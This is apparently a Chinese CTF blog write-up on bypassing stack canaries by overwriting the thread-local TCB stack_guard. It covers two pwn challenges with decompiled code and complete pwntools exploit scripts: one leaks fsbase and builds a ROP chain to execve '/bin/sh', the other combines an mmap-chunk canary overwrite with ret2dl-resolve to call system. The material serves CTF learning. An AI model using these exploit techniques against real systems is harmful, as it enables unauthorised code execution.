TLS的简单介绍 我这里就不详细说明TLS的实现了,因为太复杂了(我没看懂)。具体实现过程可以参考https://dere.press/2020/10/18/glibc-tls/
对于TLS其实是线程局部存储 (TLS) 是一种存储持续期(storage duration),对象的存储是在线程开始时分配,线程结束时回收,每个线程有该对象自己的实例。
对于TLS的变量是每一个线程所独有的,维护canary的TCB结构的也就是tls。他会在每一个线程申请自己的空间,并且在验证时也是拿自己线程所在的作比较,我们可以通过canary的实现来观察TCB结构体的位置。
很好可以理解实在fs偏移28个位置的值作为canary。
下面是TCB结构体的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 typedef struct { void *tcb;dtv_t *dtv;void *self;int multiple_threads;int gscope_flag;uintptr_t sysinfo;uintptr_t stack_guard;uintptr_t pointer_guard;unsigned long int vgetcpu_cache[2 ];unsigned int feature_1;int __glibc_unused1;void *__private_tm[4 ];void *__private_ss;unsigned long long int ssp_base;__128bits __glibc_unused2[8 ][4 ] __attribute__ ((aligned (32 ))); void *__padding[8 ];} tcbhead_t ;
也可以看到在fs:28h的位置也就是stack_guard
Q1: HGAME enter_the_evil_pwn_land 检查保护
当时就是这道题卡住了我感觉自己好菜没资格打比赛就没打了。
解题思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 __fastcall test_thread (void *a1) { int i; char s[40 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); for ( i = 0 ; i <= 0xFFF ; ++i ) { read(0 , &s[i], 1uLL ); if ( s[i] == 10 ) break ; } puts (s); return __readfsqword(0x28 u) ^ v4; }
题目的内容很简单,存在0x1000个字节的栈溢出,但是只有一次puts的机会。
所以,按照以往思路覆盖canary的\x00显然是不能够的,所以我们直接劫持TLS。
可以看到canary的值是0xd491330997329e00。
再看TCB结构体可以看到canary确实就在偏移为0x28的地址上。
可以看到TCB结构体还正在栈上。因为我们是写入0x1000字节所以显然能到这个位置。
read开始的位置距离TCB结构体的距离是0x840。
综上得出exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *r = process('./a.out' ) elf = ELF('./a.out' ) libc = ELF('./libc-2.31.so' ) context.log_level = 'debug' puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x0000000000401363 ret_addr = 0x000000000040101a vuln_fun = elf.sym['test_thread' ] r.sendline(b'a' *0x20 ) r.recvline() fsbase = u64((b'\x00' +r.recvuntil(b'\n' , drop=True )).ljust(8 , b'\x00' )) print (hex (fsbase))payload = b'a' *(0x30 -0x8 )+p64(0 )*2 +p64(pop_rdi) + \ p64(puts_got)+p64(puts_plt)+p64(vuln_fun) payload = payload.ljust(0x840 )+p64(fsbase)*3 +p64(0 )*3 r.sendline(payload) r.recvuntil(b'\n' ) puts_addr = u64(r.recvuntil(b'\n' , drop=True ).ljust(8 , b'\x00' )) libc_base = puts_addr-libc.sym['puts' ] system_addr = libc_base+libc.sym['system' ] bin_sh_addr = libc_base+next (libc.search(b'/bin/sh' )) gdb.attach(r) pop_rsi = libc_base + 0x0000000000027529 pop_rdx_r12 = libc_base + 0x000000000011c371 payload = b'a' *(0x30 -0x8 )+p64(0 )*2 +p64(pop_rdi) + \ p64(bin_sh_addr)+p64(pop_rsi)+p64(0 ) + \ p64(pop_rdx_r12)+p64(0 )*2 +p64(libc.sym['execve' ]+libc_base) r.sendline(payload) r.interactive()
Q2: BUUCTF-PWN gyctf_2020_bfnote 保护检查
这道题目需要昨天的re2dlresolve的知识,没看过的师傅可以去看看ret2dl-resolve
解题思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned int __cdecl main () { int i; int size; char *v3; int v4; char s[50 ]; unsigned int v6; v6 = __readgsdword(0x14 u); start_menu(); fwrite("\nGive your description : " , 1u , 0x19 u, stdout ); memset (s, 0 , sizeof (s)); read_0(0 , s, 0x600 ); fwrite("Give your postscript : " , 1u , 0x17 u, stdout ); memset (&unk_804A060, 0 , 0x64 u); read_0(0 , &unk_804A060, 0x600 ); fwrite("\nGive your notebook size : " , 1u , 0x1B u, stdout ); size = input_int(); v3 = malloc (size); memset (v3, 0 , size); fwrite("Give your title size : " , 1u , 0x17 u, stdout ); v4 = input_int(); for ( i = v4; size - 0x20 < i; i = input_int() ) fwrite("invalid ! please re-enter :\n" , 1u , 0x1C u, stdout ); fwrite("\nGive your title : " , 1u , 0x13 u, stdout ); read_0(0 , v3, i); fwrite("Give your note : " , 1u , 0x11 u, stdout ); read(0 , &v3[v4 + 16 ], size - v4 - 16 ); fwrite("\nnow , check your notebook :\n" , 1u , 0x1D u, stdout ); fprintf (stdout , "title : %s" , v3); fprintf (stdout , "note : %s" , &v3[v4 + 16 ]); return __readgsdword(0x14 u) ^ v6; }
别人可以用tls直接查看这个地址,但是我试了几次都不行所以就用了search查找canary来查找
可以看到他存放的位置其实是共享映射区域,所以他的相对偏移是固定的。所以如果我们malloc一个很大的chunk(size>=0x20000),那么系统就被迫使用mmap给我们分配,根据mmap的机制我们分配的chunk就一定在tcbhead_t地址的低地址处。再根据上面main函数的漏洞就很容易修改掉canary的值了。
思路就是分配一个大小为0x20000的堆块到canary上面去,然后计算他们之间偏移,利用上面的任意地址写修改canary的值。但是由于题目当中的输出函数是fwrite或者fprintf。我们的ROPgadget不够,所以选择使用ret2dl-resolve。
这道题恶心人的一点
在main函数最后并不是普通的leave retn,在最后的时候esp的值会变到ebp+var_4-4的值,所以在构造ROP的时候不能在栈上面构造。
最终得到exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *r = remote("node4.buuoj.cn" , 28441 ) elf = ELF("./gyctf_2020_bfnote" ) libc = ELF('../buu_libc/x86/libc-2.23.so' ) bss_start = 0x0804A060 gap = 0x500 stack_overflow = b'a' * (0x3e - 0xc + 0x8 ) + p64(bss_start + gap + 0x4 ) r.recvuntil(b'Give your description : ' ) r.send(stack_overflow) r.recvuntil(b'Give your postscript : ' ) fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8 ) + \ p32(0 ) + p32(0 ) + p32(0x12 ) fake_rel = p32(bss_start) + p32(0x7 + ((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8 ) // 0x10 ) * 0x100 ) r.send(b'\x00' * gap + p32(0x08048450 ) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0 ) + p32(0 ) + p32(bss_start + gap + 0x4 * 4 ) + b'/bin/sh\x00' + b'system\x00\x00' + fake_rel + fake_sym) r.recvuntil(b'Give your notebook size : ' ) r.send(bytes (str (0x20000 ), encoding='utf8' )) r.recvuntil('Give your title size : ' ) r.send(bytes (str (0xf7d22714 - 0xf7d01008 - 16 ), encoding='utf8' )) r.recvuntil('invalid ! please re-enter :\n' ) r.send(b'4' ) r.recvuntil('Give your title : ' ) r.send('a' ) r.recvuntil('Give your note : ' ) r.send('aaaa' ) r.interactive()
参考链接 https://blog.csdn.net/seaaseesa/article/details/104479071
(我挺喜欢这个博主的不过他这次是伪造的link_map把我都看蒙了,后面发现都用的p32那就用32位的方式伪造呗,这样简便很多)